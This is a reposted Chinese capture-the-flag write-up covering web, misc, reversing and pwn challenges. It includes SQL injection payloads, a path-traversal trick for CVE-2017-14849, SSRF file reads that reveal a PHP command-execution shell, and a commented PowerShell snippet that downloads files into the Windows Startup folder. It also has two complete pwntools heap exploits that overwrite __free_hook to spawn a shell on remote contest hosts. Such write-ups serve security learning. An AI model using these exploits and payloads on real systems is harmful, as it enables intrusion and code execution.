码迷，mamicode.com
首页 > 其他好文 > 详细

第九届网安竞赛writeup

时间：2020-11-13 13:07:11      阅读：6      评论：0      收藏：0      [点我收藏+]

标签：ase   child   start   nts   long   from   code   union   hook   

web

技术图片

easysql【已解决】

技术图片

uname=a‘) union select 1,extractvalue(1, concat(0x7e, (select database()),0x7e))#&passwd=a

datavase

[*] security

Database: security

[5 tables]

+----------+

| emails   |

| flag     |

| referers |

| uagents  |

| users    |

+----------+

技术图片

查列：

uname=a‘) union select 1,extractvalue(1, concat(0x7e, (select * from (select * from flag as a join flag b)c),0x7e))#&passwd=a

技术图片

技术图片

flag{c7651cb673c911ee8f9977094a220f17}

ezsqli【已解决】

flag{de3110dce011088cd4add1950a49182f}
技术图片

Secret Guess

http://124.71.167.32:32768/

const express = require(‘express‘);
const path = require(‘path‘);
const env = require(‘dotenv‘).config();
const bodyParser = require(‘body-parser‘);
const crypto = require(‘crypto‘);
const fs = require(‘fs‘)
const hbs = require(‘hbs‘);
const process = require("child_process")
const app = express();
app.use(‘/static‘, express.static(path.join(__dirname, ‘public‘)));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set(‘views‘, path.join(__dirname, "views/"))
app.engine(‘html‘, hbs.__express)
app.set(‘view engine‘, ‘html‘)
app.get(‘/‘, (req, res) => {
    res.render("index")
})
app.post(‘/‘, (req, res) => {
    if (req.body.auth && typeof req.body.auth === ‘string‘ && crypto.createHash(‘md5‘).update(env.parsed.secret).digest(‘hex‘) === req.body.auth ) {
        res.render("index", {result: process.execSync("echo $FLAG")})
    } else {
        res.render("index", {result: "wrong secret"})
    }
})
app.get(‘/source‘, (req, res) => {
    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");

CVE-2017-14849漏洞
flag在 static/../../foo/../../../usr/local/app/.env

SSRF ME

一个简单的SSRF？？？

http://124.71.187.100:8079/

读文件，读到index：

<!--?php
error_reporting(0);
session_start();
require_once "lib.php";
init();

$is_die = 0;
$is_post = 0;
$die_mess = ‘‘;
$url = ‘‘;

if (isset($_POST[‘url‘]) && isset($_POST[‘captcha‘]) && !empty($_POST[‘url‘]) && !empty($_POST[‘captcha‘]))
{
$url = $_POST[‘url‘];
$captcha = $_POST[‘captcha‘];
$is_post = 1;
if ( $captcha !== $_SESSION[‘answer‘])
{
$die_mess = "wrong captcha";
$is_die = 1;
}

if ( preg_match(‘/flag|proc|log/i‘, $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}

?-->

lib.php

<!--?php
session_start();
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}

function set_session()
{
$answer = rand(1,100000);
$_SESSION[‘captcha‘] = substr(md5($answer),-6,6);
$_SESSION[‘answer‘] = strval($answer);
}

function destroy_session()
{
$_SESSION = [];
}

function init()
{
if (!isset($_SESSION[‘captcha‘]) || !isset($_SESSION[‘answer‘]) || isset($_GET[‘reset‘]))
{
destroy_session();
set_session();
isset($_GET[‘reset‘]) ? die("<script-->

技术图片

/etc/apache2/apache2.conf

[file:///etc/apache2/sites-enabled/000-default.conf](file:///etc/apache2/sites-enabled/000-default.conf)

ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined 
ServerAdmin secret@localhost DocumentRoot /var/www/htmlssrf123123 ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined

[file:///etc/apache2/ports.conf](file:///etc/apache2/ports.conf)

Listen 80 Listen 47852 Listen 443 Listen 443

读第二个web目录读文件：
[file:///var/www/htmlssrf123123/index.php](file:///var/www/htmlssrf123123/index.php)

<!--?php
    if(isset($_POST[‘cmd‘])){
        exec($_POST[‘cmd‘]);
    } 
?-->

warmup【已解决】

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row[‘username‘] === ‘admin‘){
            $flag = file_get_contents(‘flag.php‘);
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username=‘".$this->username."‘ and password=‘".$this->password."‘");
    }

    public function waf(){
    	$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
    	foreach ($blacklist as $value) {
    		if(strripos($this->table, $value)){
    			die(‘bad hacker,go out!‘);
    		}
    	}
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die(‘bad hacker,go out!‘);
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die(‘bad hacker,go out!‘);
            }
        }
    }

YToxOntzOjI6ImlwIjtzOjEyOiIxODMuMjM2LjAuOTEiO30=

a:1:{s:2:"ip";s:12:"183.236.0.91";}

<?php

class SQL {

	public $table="users";
	public $username="admin";
	public $password="admin‘ or ‘1‘=‘1";
}

$SQL = new SQL();

echo serialize($SQL);

再base64编码就行了
技术图片

flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}

misc

emisc

elf可执行文件

技术图片

你觉得这个是什么文件

技术图片

re

html

# $client = new-object System.Net.WebClient;
# $client.DownloadFile("http://192.168.69.129:8000/ielogo.png", "$env:temp/20203917.tmp")
# $client.DownloadFile("http://192.168.69.129:8000/_TMP12", "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helper.bat")

# read file
$content = [IO.File]::ReadAllText("$pwd\doc.chm")
$idx1 = $content.IndexOf("xxxxxxxx")

$helper = $content.Substring($idx1 + 8)
$cont = [System.Convert]::FromBase64String($helper)

Set-Content "$env:temp\20201122.tmp" $cont -Encoding byte

pwn

noteplus【已解决】

#!/usr/bin/python2
from pwn import *



LOCAL = False
binfile=‘./noteplus‘
libcfile=‘./libc-2.27.so‘
offset=0



e=ELF(binfile)

context.log_level=‘debug‘
context.arch=e.arch
if context.arch==‘i386‘:
    x86=True
else:
    x86=False

if LOCAL:
    c = process(binfile)
    if libcfile:
    	libc=ELF(libcfile)
    else:
	    if x86:
	        libc=ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
	    else:
	        libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)
else:
    c = remote(‘121.36.245.213‘,23333)
    if libcfile:
        libc=ELF(libcfile)

def add(idx,size):
  c.sendlineafter(‘ce: ‘,‘1‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.sendlineafter(‘Size: ‘,str(size))

def rm(idx):
  c.sendlineafter(‘ce: ‘,‘2‘)
  c.sendlineafter(‘Index: ‘,str(idx))

def edit(idx,content):
  c.sendlineafter(‘ce: ‘,‘3‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.sendafter(‘Content: ‘,content)

def view(idx):
  c.sendlineafter(‘ce: ‘,‘4‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.recvuntil(‘Content: ‘)



for i in range(8):
  add(i,0x88)

add(8,0x4)
add(9,0x88)
add(10,0x88)

for i in range(7):
  rm(6-i)

rm(7)



for i in range(8):
  add(i,0x88)

view(7)
ma_a=int(u64(c.recv(6).ljust(8,‘\x00‘)))-96
log.success(hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols[‘__free_hook‘]
log.success(hex(fh_a))
sys_a=lib_b+libc.symbols[‘system‘]

rm(9)

edit(8,cyclic(0x8)+p64(0x20+0x90)+p64(0x90)+p64(fh_a-8)+cyclic(0x88)+‘/bin/sh\x00‘+‘\n‘)

add(11,0x88)
add(12,0x88)

edit(12,p64(sys_a)+‘\n‘)

rm(10)



c.interactive()

技术图片

youchat【已解决】

#!/usr/bin/python2
from pwn import *



LOCAL = False
binfile=‘./youchat‘
libcfile=‘./libc-2.27.so‘
offset=0



e=ELF(binfile)

context.log_level=‘info‘
context.arch=e.arch
if context.arch==‘i386‘:
    x86=True
else:
    x86=False
 
if LOCAL:
    c = process(binfile)
    if libcfile:
    	libc=ELF(libcfile)
    else:
	    if x86:
	        libc=ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
	    else:
	        libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)
else:
    c = remote(‘124.70.158.59‘,30023)
    if libcfile:
        libc=ELF(libcfile)

def add(idx,size,name,pword):
  c.sendlineafter(‘ce: ‘,‘1‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.sendlineafter(‘How long is your user id: ‘,str(size))
  c.sendafter(‘User name: ‘,name)
  c.sendafter(‘Password: ‘,pword)

def rm(idx):
  c.sendlineafter(‘ce: ‘,‘2‘)
  c.sendlineafter(‘Index: ‘,str(idx))

def edit(idx,content):
  c.sendlineafter(‘ce: ‘,‘3‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.sendafter(‘New username: ‘,content)

def view(idx):
  c.sendlineafter(‘ce: ‘,‘4‘)
  c.sendlineafter(‘Index: ‘,str(idx))
  c.recvuntil(‘Username: ‘)

s=‘/bin/sh;‘
size=0x88

for i in range(8):
  add(i,size,s,s)

add(8,size,s,s)

for i in range(7):
  rm(6-i)

rm(7)





for i in range(7):
  add(i,size,s,s)

add(7,size,s,s)

view(7)
c.recv(8)
ma_a=int(u64(c.recv(6).ljust(8,‘\x00‘)))-96
log.success(‘ma_a: ‘+hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols[‘__free_hook‘]
log.success(‘fh_a: ‘+hex(fh_a))
sys_a=lib_b+libc.symbols[‘system‘]

offset=0x20

rm(7)
add(7,size,s,cyclic(16))



rm(6)
edit(7,cyclic(0x20)+p64(fh_a))



add(9,size,s,s)

add(10,size,s,s)



edit(10,p64(sys_a))

rm(9)

c.interactive()

第九届网安竞赛writeup

标签：ase   child   start   nts   long   from   code   union   hook   

原文地址：https://www.cnblogs.com/twosmi1e/p/13945311.html
踩
(0)
赞
(0)
   
举报
评论 一句话评论（0）
登录后才能评论！
分享档案
更多>
2021年07月29日 (22)
2021年07月28日 (40)
2021年07月27日 (32)
2021年07月26日 (79)
2021年07月23日 (29)
2021年07月22日 (30)
2021年07月21日 (42)
2021年07月20日 (16)
2021年07月19日 (90)
2021年07月16日 (35)
周排行
mamicode.com排行更多图片
更多
友情链接
兰亭集智   国之画   百度统计   站长统计   阿里云   chrome插件   新版天听网
关于我们 - 联系我们 - 留言反馈
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码！